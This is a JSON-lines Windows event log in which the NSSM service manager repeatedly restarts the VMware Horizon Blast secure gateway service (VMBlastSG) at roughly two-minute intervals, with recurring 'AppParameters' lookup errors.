{"@timestamp":1646680549084,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["153576","153576","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":157243}}
{"@timestamp":1646680549100,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":157244}}
{"@timestamp":1646680549101,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":157245}}
{"@timestamp":1646680549101,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":157246}}
{"@timestamp":1646680549102,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":157247}}
{"@timestamp":1646680677991,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":157248}}
{"@timestamp":1646680677993,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":157249}}
{"@timestamp":1646680677994,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","153208","0"]}}},"module":"Application","provider":"nssm","sequence":157250}}
{"@timestamp":1646680677994,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["153208","153208","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":157251}}
{"@timestamp":1646680678009,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":157252}}
{"@timestamp":1646680678010,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":157253}}
{"@timestamp":1646680678010,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":157254}}
{"@timestamp":1646680678011,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":157255}}
{"@timestamp":1646680806493,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":157256}}
{"@timestamp":1646680806495,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":157257}}
{"@timestamp":1646680806495,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","153868","0"]}}},"module":"Application","provider":"nssm","sequence":157258}}
{"@timestamp":1646680806495,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["153868","153868","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":157259}}
{"@timestamp":1646680806512,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":157260}}
{"@timestamp":1646680806512,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":157261}}
{"@timestamp":1646680806513,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":157262}}
{"@timestamp":1646680806513,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":157263}}
{"@timestamp":1646680935008,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":157264}}
{"@timestamp":1646680935010,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":157265}}
{"@timestamp":1646680935010,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","154612","0"]}}},"module":"Application","provider":"nssm","sequence":157266}}
{"@timestamp":1646680935011,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["154612","154612","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":157267}}
{"@timestamp":1646680935028,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":157268}}
{"@timestamp":1646680935028,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":157269}}
{"@timestamp":1646680935029,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":157270}}
{"@timestamp":1646680935029,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":157271}}
{"@timestamp":1646681063519,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":157272}}
{"@timestamp":1646681063521,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":157273}}
{"@timestamp":1646681063521,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","153712","0"]}}},"module":"Application","provider":"nssm","sequence":157274}}
{"@timestamp":1646681063522,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["153712","153712","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":157275}}
{"@timestamp":1646681063538,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":157276}}
{"@timestamp":1646681063539,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":157277}}
{"@timestamp":1646681063539,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":157278}}
{"@timestamp":1646681063540,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":157279}}
{"@timestamp":1646681192080,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":157280}}
{"@timestamp":1646681192082,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":157281}}
{"@timestamp":1646681192082,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","154060","0"]}}},"module":"Application","provider":"nssm","sequence":157282}}
{"@timestamp":1646681192083,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["154060","154060","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":157283}}
{"@timestamp":1646681192102,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":157284}}
{"@timestamp":1646681192103,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":157285}}
{"@timestamp":1646681192103,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":157286}}
{"@timestamp":1646681192104,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":157287}}
{"@timestamp":1646681320588,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":157288}}
{"@timestamp":1646681320590,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":157289}}
{"@timestamp":1646681320590,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","153716","0"]}}},"module":"Application","provider":"nssm","sequence":157290}}
{"@timestamp":1646681320591,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["153716","153716","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":157291}}
{"@timestamp":1646681320607,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":157292}}
{"@timestamp":1646681320608,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":157293}}
{"@timestamp":1646681320608,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":157294}}
{"@timestamp":1646681320609,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":157295}}
{"@timestamp":1646681449265,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":157296}}
{"@timestamp":1646681449266,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":157297}}
{"@timestamp":1646681449268,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","154056","0"]}}},"module":"Application","provider":"nssm","sequence":157298}}
{"@timestamp":1646681449268,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["154056","154056","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":157299}}
{"@timestamp":1646681449284,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":157300}}
{"@timestamp":1646681449284,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":157301}}
{"@timestamp":1646681449285,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":157302}}
{"@timestamp":1646681449286,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":157303}}
{"@timestamp":1646681577771,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":157304}}
{"@timestamp":1646681577772,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":157305}}
{"@timestamp":1646681577773,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","153836","0"]}}},"module":"Application","provider":"nssm","sequence":157306}}
{"@timestamp":1646681577773,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["153836","153836","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":157307}}
{"@timestamp":1646681577789,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":157308}}
{"@timestamp":1646681577790,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":157309}}
{"@timestamp":1646681577790,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":157310}}
{"@timestamp":1646681577791,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":157311}}
{"@timestamp":1646681583570,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1704,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":[""]}}},"module":"Application","provider":"SceCli","sequence":157312}}
{"@timestamp":1646681706271,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":157313}}
{"@timestamp":1646681706273,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":157314}}
{"@timestamp":1646681706274,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","153260","0"]}}},"module":"Application","provider":"nssm","sequence":157315}}
{"@timestamp":1646681706275,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["153260","153260","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":157316}}
{"@timestamp":1646681706290,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":157317}}
{"@timestamp":1646681706291,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":157318}}
{"@timestamp":1646681706291,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":157319}}
{"@timestamp":1646681706292,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":157320}}
{"@timestamp":1646681834847,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":157321}}
{"@timestamp":1646681834849,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":157322}}
{"@timestamp":1646681834850,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","154396","0"]}}},"module":"Application","provider":"nssm","sequence":157323}}
{"@timestamp":1646681834851,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["154396","154396","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":157324}}
{"@timestamp":1646681834869,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":157325}}
{"@timestamp":1646681834869,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":157326}}
{"@timestamp":1646681834870,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":157327}}
{"@timestamp":1646681834871,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":157328}}
{"@timestamp":1646681963364,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":157329}}
{"@timestamp":1646681963366,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":157330}}
{"@timestamp":1646681963367,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","153764","0"]}}},"module":"Application","provider":"nssm","sequence":157331}}
{"@timestamp":1646681963367,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["153764","153764","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":157332}}
{"@timestamp":1646681963383,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":157333}}
{"@timestamp":1646681963383,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":157334}}
{"@timestamp":1646681963384,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":157335}}
{"@timestamp":1646681963384,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":157336}}
{"@timestamp":1646682092720,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":157337}}
{"@timestamp":1646682092721,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":157338}}
{"@timestamp":1646682092721,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","154280","0"]}}},"module":"Application","provider":"nssm","sequence":157339}}
{"@timestamp":1646682092722,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["154280","154280","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":157340}}
{"@timestamp":1646682092737,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":157341}}
{"@timestamp":1646682092738,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":157342}}
{"@timestamp":1646682092739,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":157343}}
{"@timestamp":1646682092740,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":157344}}
{"@timestamp":1646682221253,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":157345}}
{"@timestamp":1646682221253,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":157346}}
{"@timestamp":1646682221254,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","153264","0"]}}},"module":"Application","provider":"nssm","sequence":157347}}
{"@timestamp":1646682221254,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["153264","153264","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":157348}}
